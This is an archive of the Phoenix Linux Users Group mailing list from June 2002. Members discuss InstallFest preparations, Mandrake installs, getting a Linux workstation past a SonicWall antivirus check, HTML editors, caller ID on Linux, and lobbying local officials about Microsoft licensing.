>Dennis > >------------------------------------------------- >Everyone should have http://www.freedom2surf.net/ >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:45:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 9 Jun 2002 19:45:53 -0700 Subject: 50 OpenOffice/Mozilla CDs for InstallFest In-Reply-To: References: Message-ID: <0206091945540L.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hopefully that will be more than enough. After all, not all home computer users need OO, but zilla 1.0 should be installed for them if they have the disk space. On Sunday 09 June 2002 17:51, you wrote: > Alright, I've got 50 CDs burned with OpenOffice 1.0 and Mozilla 1.0, so we > better have at least that many people at the InstallFest. ;-) Speaking > of which, what kind of turn-outs has there been for previous InstallFests? > 10 people? 100? 1000? Should I burn more CDs? :-) > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQQS4isk3ywszI1FEQKQVACg5KS/yD1AeJSUxEb5+DM98D4e8SIAoNFr NwyIgOODQP7Hz6FceYwF6Fl+ =6stE -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:58:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 09 Jun 2002 19:58:47 -0700 Subject: SonicWall and linux client In-Reply-To: <008801c21021$326bb580$6400a8c0@amd1000> References: <008801c21021$326bb580$6400a8c0@amd1000> Message-ID: <1023677931.3966.0.camel@desktop.capnet.lan> --=-8dYRHb0uE6ih4JkCsLVK Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-09 at 18:50, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall a= s IE 5, but it still won't let me through. The solution proposed by sonic w= all is to assign a Static ip address to my linux box and exepmt that ip fro= m the anti virus requirement. This is possible to do, but I may have a hard= time selling this idea to my employer. >=20 > Is there any danger and if so how much, to running a linuxbox with no ant= i virus protection on a network that is all win98 or XP workstations? Many = Linux servers, but this would be the first linux workstation. >=20 > I've never heard of such a thing but is there antivirus software for linu= x? >=20 > Regards, >=20 >=20 > Charlie >=20 >=20 Sure is, check at Tucows.com for a whole selection. --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-8dYRHb0uE6ih4JkCsLVK Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9BBXm6He1yLs+JHwRAs7iAJ9sFmaLsnKTZpnS0Qn1IxlBwhUZCwCfW1K2 FHZa/zVKkEVAQtoVS9Zx5gM= =wBwZ -----END PGP SIGNATURE----- --=-8dYRHb0uE6ih4JkCsLVK-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:06:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 20:06:08 -0700 Subject: Mandrake 6 In-Reply-To: Message-ID: <200206100306.XAA28986@hostinworld6.com> I don't have the money. I got this one for about $90US on my vacation to Vancouver, Canada. It's only 7 years old. On 09 Jun 2002 18:17:38 -0700, Matt Alexander wrote: > On 9 Jun 2002, Bryce C. wrote: > > > P.S. Please do not try to persuade me to go with another distro. I've > > tried a couple others that might work well on a 486 but they just didn't > > on my laptop. > > Hmm... Buy a new laptop? ;-) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:46:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Sun, 9 Jun 2002 13:46:14 -0700 Subject: PLUG-discuss digest, Vol 1 #2326 - 1 msg In-Reply-To: <200206091905.g59J53226929@PlugList.MyButt.Net> References: <200206091905.g59J53226929@PlugList.MyButt.Net> Message-ID: <200206091346.14667.dan_lund@hotmail.com> This has *got* to be a joke.... Reminiscent of Jesux... :) On Sunday 09 June 2002 12:05 pm, plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 1 > Date: Sun, 9 Jun 2002 10:46:46 -0700 > From: dennisk@sahuaro.f2s.com > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Linux for Christians > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > crusifix! > > Dennis From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:21:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 20:21:21 -0700 Subject: Linux for Christians In-Reply-To: <200206091131.19740.voltage_spike@fastmail.fm> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091131.19740.voltage_spike@fastmail.fm> Message-ID: <1023679281.3d041b314530a@webmail.freedom2surf.net> Quoting Voltage Spike : > -----BEGIN PGP SIGNED MESSAGE----- > I am very surprised to find that they are are not using Jesux > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its own > > BSD-style license, the Christian Software Public License. > > Check it out. ;-) > > - -- > Voltage Spike > ,,, And I bet Satan is NOT installed by default. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:23:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 12:23:15 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: References: Message-ID: <200206091223.15701.nathan@the-arcanum.org> --------------Boundary-00=_RUDGSF3QNIVZD7QU6FI7 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have an address list of all the state legislators, districts, emails, a= nd=20 phone numbers. If you're looking for a number, or want to create a large list fast, here= you=20 go. nathan Am Freitag 07 Juni 2002 04:19 nachmittags schrieb Derek Neighbors: > If you want your government to stop using Microsoft Products now is the > time to have your voice heard. It starts with local government. If yo= u > didnt know the State of Arizona budget is in the dumps, because all > governments under them (read county and city) get large sums of money > from the State they are hurting for money. > > It just so happens that this July is when most of the local governments > start a new fiscal year, which means this June (now) they are ADOPTING > budgets (planned spending) for the upcoming fiscal year. Many of them = are > faced with the choice on whether to renew Microsoft's 'Enterprise > Agreement' stiff arm. > > I urge you to PLEASE PLEASE PLEASE contact your district council person > (maricopa county) and your city council people and simply ask them. > > a. Do they plan to approve funding for the Enterprise Agreement? > b. If they do plan to do so, please provide you with a copy of the > agreement and the dollar amount to be expended. > c. When they will be hearing from the public on the budget, so if they = are > adopting you can have your voice heard publicly. > > > It may sound funny but I can speak from REAL experience if a council > person gets as few as 10 requests that are similar a red flag will be > raised and they will grill their technology departments on it. > > I have contacted the Town of Gilbert and Maricopa County already to > recieve such information, I suggest others follow and use your power as= a > citizen to make a difference. We have no one to blame but ourselves if= we > dont start to take a stand. > > > I dont have town information but county information is as follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=3DdistrictMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County Administrat= or > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 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Churches have similar budgetary constraints as schools. Therefore, they're a great place for Linux to expand its foothold with non-geeks. I'm agnostic, but as a Linux advocate, this looks like a perfect target market. On Sun, 9 Jun 2002, Dan Lund wrote: > This has *got* to be a joke.... > Reminiscent of Jesux... :) > > On Sunday 09 June 2002 12:05 pm, plug-discuss-request@lists.plug.phoenix.az.us > wrote: > > > Message: 1 > > Date: Sun, 9 Jun 2002 10:46:46 -0700 > > From: dennisk@sahuaro.f2s.com > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Linux for Christians > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Looking for something else on Google I stumbled on to The Linux for > > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > > > This is a very new site dedicated to the Christian use of one of my > > favorite OS's, Linux! What you will see here (provided you keep coming > > back) is a repository of information pertaining to, how to, and why to, use > > Linux as a Christian and in a Christian organization. > > > > And then there is: > > > > http://www.christianlinux.com/ > > > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > > crusifix! > > > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:47:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 20:47:49 -0700 Subject: Typical InstallFest install - hope not!! Message-ID: <1023680869.3d042165def64@webmail.freedom2surf.net> My boss picked up a new Sony Vaio at the Sony Store in Chicago this week so I decided to do a Mandrake install a la InstallFest to see how long it might take. Since the computer has one 6Gb partition with ME installed Mandrake would have to shrink that to make room for Linux. Of course, you can install Mandrake in a folder on the Windows partition but who would want to do that? So, first thing I needed to defrag Windows. Two hours and several cross-linked files later I was able, finally, to boot the Mandrake CD. Even though there was 2.78Gb free space on the C: drive Mandrake could only recover 700Mb! The moral - If this is a typical install we'll run out of time and better have lots of Partition Magic CDs handy! Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:51:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 20:51:09 -0700 (PDT) Subject: Linux for Christians In-Reply-To: <1023679281.3d041b314530a@webmail.freedom2surf.net> Message-ID: On Sun, 9 Jun 2002 dennisk@sahuaro.f2s.com wrote: > Quoting Voltage Spike : > > > -----BEGIN PGP SIGNED MESSAGE----- > > > I am very surprised to find that they are are not using Jesux > > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its > own > > > > BSD-style license, the Christian Software Public License. > > > > Check it out. ;-) > > > > - -- > > Voltage Spike > > ,,, > > And I bet Satan is NOT installed by default. But I'm sure Saint is installed. ;-) From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:55:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 13:55:55 -0700 Subject: Linux for Christians In-Reply-To: <1023679281.3d041b314530a@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091131.19740.voltage_spike@fastmail.fm> <1023679281.3d041b314530a@webmail.freedom2surf.net> Message-ID: <200206100356.XAA12693@hostinworld6.com> No but I'm sure NetSAINT IS installed. On 09 Jun 2002 20:21:21 -0700, dennisk@sahuaro.f2s.com wrote: > Quoting Voltage Spike : > > > -----BEGIN PGP SIGNED MESSAGE----- > > > I am very surprised to find that they are are not using Jesux > > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its > own > > > > BSD-style license, the Christian Software Public License. > > > > Check it out. ;-) > > > > - -- > > Voltage Spike > > ,,, > > And I bet Satan is NOT installed by default. > > Dennis > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:10:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 21:10:18 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206100102.VAA21006@hostinworld6.com> References: <200206100102.VAA21006@hostinworld6.com> Message-ID: <1023682218.3d0426aa441e1@webmail.freedom2surf.net> Quoting "Bryce C." : > Thank you all. I usually only do a few pages a month but this summer > I'm completely overhalling my website. I've trried Quanta before (I use > it for my PHP/HTML) but now I need something that I don't have to for it > to render. Something in the way of, GASP, M$ Frontpage. I will not use > it though because it's a piece of junk but that's the sort of WYSIWYG > I'm talking about. > > Thank You, > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > Sounds like a summer project - learning to code by hand.;-) A big problem with many WYSIWYG editors is that the resulting code is nearly impossible to "reverse engineer" and you are stuck using the product that created the site or you have to start from scratch each time. Try redesigning the site to be more hand-coding friendly, use templates where you can and maybe a macro to fill in the parts that change. Run the code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to catch the big mistakes. Learn to code by hand, you won't regret it. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:14:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 21:14:12 -0700 (PDT) Subject: SonicWall and linux client In-Reply-To: <008801c21021$326bb580$6400a8c0@amd1000> Message-ID: Just tell your admin that you're running Linux so you don't have to worry about all the Windows viruses out there (he/she should be scanning or blocking email attachments on the mail server anyway). Give your box a static IP, have your admin tell the SonicWall to let you through, and you're set. Viruses on Linux are possible, but their propogation is slowed by a number of factors, such as: 1) Less Linux workstations directly connected to the Internet, relative to Windows boxes. Expect this to change in the future as more users and businesses start using Linux. 2) Linux users are usually more technically savvy and less likely to run strange attachments. Expect this to change in the future as well. 3) Damage is limited to only the files that the user can change/delete. ~M On Sun, 9 Jun 2002, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall as IE 5, but it still won't let me through. The solution proposed by sonic wall is to assign a Static ip address to my linux box and exepmt that ip from the anti virus requirement. This is possible to do, but I may have a hard time selling this idea to my employer. > > Is there any danger and if so how much, to running a linuxbox with no anti virus protection on a network that is all win98 or XP workstations? Many Linux servers, but this would be the first linux workstation. > > I've never heard of such a thing but is there antivirus software for linux? > > Regards, > > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:31:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 21:31:57 -0700 Subject: Linux for Christians In-Reply-To: <3D04124D.8000100@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> Message-ID: <200206092132.00620.lists@ybnormal.org> If you want a distr aimed at whatever it is you believe or don't believe, program it, or get some like minded people to do it. The wars are more due to ignorence, not religion. On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > How about a linux distro specifically for non-christians? Buddists? > Muslims? Hindu? > > btw: why everything on this planet has to be about religion? Isn't > this why we have so > many wars? > > Greg > > dennisk@sahuaro.f2s.com wrote: > >Looking for something else on Google I stumbled on to The Linux for > > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > > > This is a very new site dedicated to the Christian use of one of my > > favorite OS's, Linux! What you will see here (provided you keep coming > > back) is a repository of information pertaining to, how to, and why to, > > use Linux as a Christian and in a Christian organization. > > > >And then there is: > > > >http://www.christianlinux.com/ > > > >I wonder if the LWN Penguin Gallery has their version of Tux wearing a > >crusifix! > > > >Dennis > > > >------------------------------------------------- > >Everyone should have http://www.freedom2surf.net/ > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:45:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 21:45:50 -0700 Subject: WYSIWYG Editor In-Reply-To: <1023682218.3d0426aa441e1@webmail.freedom2surf.net> References: <200206100102.VAA21006@hostinworld6.com> <1023682218.3d0426aa441e1@webmail.freedom2surf.net> Message-ID: <200206092145.52899.lists@ybnormal.org> And don't forget to use include files! On Sunday 09 June 2002 09:10 pm, dennisk@sahuaro.f2s.com wrote: > Quoting "Bryce C." : > > Thank you all. I usually only do a few pages a month but this summer > > I'm completely overhalling my website. I've trried Quanta before (I use > > it for my PHP/HTML) but now I need something that I don't have to for it > > to render. Something in the way of, GASP, M$ Frontpage. I will not use > > it though because it's a piece of junk but that's the sort of WYSIWYG > > I'm talking about. > > > > Thank You, > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > Sounds like a summer project - learning to code by hand.;-) > > A big problem with many WYSIWYG editors is that the resulting code is > nearly impossible to "reverse engineer" and you are stuck using the product > that created the site or you have to start from scratch each time. > > Try redesigning the site to be more hand-coding friendly, use templates > where you can and maybe a macro to fill in the parts that change. Run the > code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to > catch the big mistakes. > > Learn to code by hand, you won't regret it. > > Dennis Kibbe > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 05:13:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 22:13:41 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092145.52899.lists@ybnormal.org> References: <200206100102.VAA21006@hostinworld6.com> <1023682218.3d0426aa441e1@webmail.freedom2surf.net> <200206092145.52899.lists@ybnormal.org> Message-ID: <200206100514.BAA04712@hostinworld6.com> My main mission is to create a template that's easy to change quickly and write a PHP backend to parse it. That is my summer project. Also, I've been coding HTML by hand for 6 years. I know it very well, not that there's all that much to know, but I know there are easier, linux based ways that I could possibly develope and post on the internet to help others learn. On 09 Jun 2002 21:45:50 -0700, Tom Achtenberg wrote: > And don't forget to use include files! > > On Sunday 09 June 2002 09:10 pm, dennisk@sahuaro.f2s.com wrote: > > Quoting "Bryce C." : > > > Thank you all. I usually only do a few pages a month but this summer > > > I'm completely overhalling my website. I've trried Quanta before (I use > > > it for my PHP/HTML) but now I need something that I don't have to for it > > > to render. Something in the way of, GASP, M$ Frontpage. I will not use > > > it though because it's a piece of junk but that's the sort of WYSIWYG > > > I'm talking about. > > > > > > Thank You, > > > Bryce C. > > > Network Administrator > > > CoBryce Communications > > > Bryce @ BryceCo . Net > > > > Sounds like a summer project - learning to code by hand.;-) > > > > A big problem with many WYSIWYG editors is that the resulting code is > > nearly impossible to "reverse engineer" and you are stuck using the product > > that created the site or you have to start from scratch each time. > > > > Try redesigning the site to be more hand-coding friendly, use templates > > where you can and maybe a macro to fill in the parts that change. Run the > > code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to > > catch the big mistakes. > > > > Learn to code by hand, you won't regret it. > > > > Dennis Kibbe > > > > ------------------------------------------------- > > Everyone should have http://www.freedom2surf.net/ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Visit my home page at http://www.achtenberg.com > > Every DAY 24,000 people die of hunger related causes. 18,000 of these are > children. Find out how you can help at http://www.Christ4me.com > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 05:54:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 22:54:32 -0700 Subject: OT: Please come forward Message-ID: <200206100555.BAA18201@hostinworld6.com> To whomever this may concern. A PLUG member and possible Chandler resident running KDE3.0.0-10 recently posted to my site's guestbook an NMAP of my web server. Please contact me explain the point of doing this and clicking submit twice. If you're unsure of who you are, you are IP: 68.15.176.161, Hostname: wsip68-15-176-161.ph.ph.cox.net. Please don't do this as it shows you're trying to prove something. My web server has no confidential data on it of mine and is located in Davie, Florida so I don't even maintain it. If you have concerns regarding its security, contact the host, Dellz.com. I don't pay much and I don't expecxt much. Thank You. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 06:51:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sun, 9 Jun 2002 23:51:49 -0700 (PDT) Subject: Typical InstallFest install - hope not!! In-Reply-To: <1023680869.3d042165def64@webmail.freedom2surf.net> Message-ID: <20020610065149.20038.qmail@web13901.mail.yahoo.com> When I first installed Mandrake 7.2, I did it on a partition on a windows 98 box. It had a 6.4GB HD, but I installed it on one of the 1.99 GB partition and I had to shove all I could into that space. It was being installed on a box running with a 233MHZ, and 64 MB RAM. This istallation took hours to do. I do not even know how long it really took, because after a few hours I went to bed, and when I woke in the morning I then changed CD's, then waited some more. Some of these installs can take a long time to complete. mike --- dennisk@sahuaro.f2s.com wrote: > > My boss picked up a new Sony Vaio at the Sony Store > in Chicago this week so I > decided to do a Mandrake install a la InstallFest to > see how long it might > take. > > Since the computer has one 6Gb partition with ME > installed Mandrake would have > to shrink that to make room for Linux. Of course, > you can install Mandrake in > a folder on the Windows partition but who would want > to do that? > > So, first thing I needed to defrag Windows. Two > hours and several cross-linked > files later I was able, finally, to boot the > Mandrake CD. Even though there > was 2.78Gb free space on the C: drive Mandrake could > only recover 700Mb! > > The moral - If this is a typical install we'll run > out of time and better have > lots of Partition Magic CDs handy! > > Dennis Kibbe > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 13:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Mon, 10 Jun 2002 06:32:11 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> Message-ID: <15620.43611.959869.710388@magnitude.righthandgraphics.com> \_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: \_ \_ How about a linux distro specifically for non-christians? Buddists? \_ Muslims? Hindu? \_ \_ btw: why everything on this planet has to be about religion? Isn't \_ this why we have so \_ many wars? No, we have so many wars because of people using the wrong editor. Die infidel (emacs|vi) user, die! :-) http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html David From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 14:44:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 10 Jun 2002 07:44:04 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> Don't forget to contact you local school boards too!! -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Friday, June 07, 2002 4:20 PM To: 'plug-discuss@lists.plug.phoenix.az.us' Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement If you want your government to stop using Microsoft Products now is the time to have your voice heard. It starts with local government. If you didnt know the State of Arizona budget is in the dumps, because all governments under them (read county and city) get large sums of money from the State they are hurting for money. It just so happens that this July is when most of the local governments start a new fiscal year, which means this June (now) they are ADOPTING budgets (planned spending) for the upcoming fiscal year. Many of them are faced with the choice on whether to renew Microsoft's 'Enterprise Agreement' stiff arm. I urge you to PLEASE PLEASE PLEASE contact your district council person (maricopa county) and your city council people and simply ask them. a. Do they plan to approve funding for the Enterprise Agreement? b. If they do plan to do so, please provide you with a copy of the agreement and the dollar amount to be expended. c. When they will be hearing from the public on the budget, so if they are adopting you can have your voice heard publicly. It may sound funny but I can speak from REAL experience if a council person gets as few as 10 requests that are similar a red flag will be raised and they will grill their technology departments on it. I have contacted the Town of Gilbert and Maricopa County already to recieve such information, I suggest others follow and use your power as a citizen to make a difference. We have no one to blame but ourselves if we dont start to take a stand. I dont have town information but county information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 15:26:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Henry) Date: Mon, 10 Jun 2002 08:26:29 -0700 Subject: telephony Message-ID: Is there a way to set up Linux for caller I.D.? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:00:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Mon, 10 Jun 2002 09:00:19 -0700 (MST) Subject: telephony In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CallerID is a feature of your modem, not the operating system. If your modem can report caller id, then it's a simple matter of reading a string from the serial port, or do a search on freshmeat; there's dozens of programs that will read it for you. --Nick On Mon, 10 Jun 2002, Mike Henry wrote: > Is there a way to set up Linux for caller I.D.? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: mmm... gpg is yummy... iD8DBQE9BM0Xv+hjYTGg7s4RAuNzAJ4lhZNsbJWcJw84zOetR9C8FFaCQwCghvyJ VpdhLBWEA6yZvs0H7tG19Ms= =OFmY -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:00:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 09:00:34 -0700 (MST) Subject: WYSIWYG Editor In-Reply-To: <200206100514.BAA04712@hostinworld6.com> Message-ID: My favorite HTML editor and one of the few things I use Windows for is HotMetal. HM gives you a "Tags On" view of your document so you can edit individual elements in a WYSIWYG manner, without any of the junque most other GUI editors stuff in. Wish there were an editor for Linux that worked that way. \\/ From 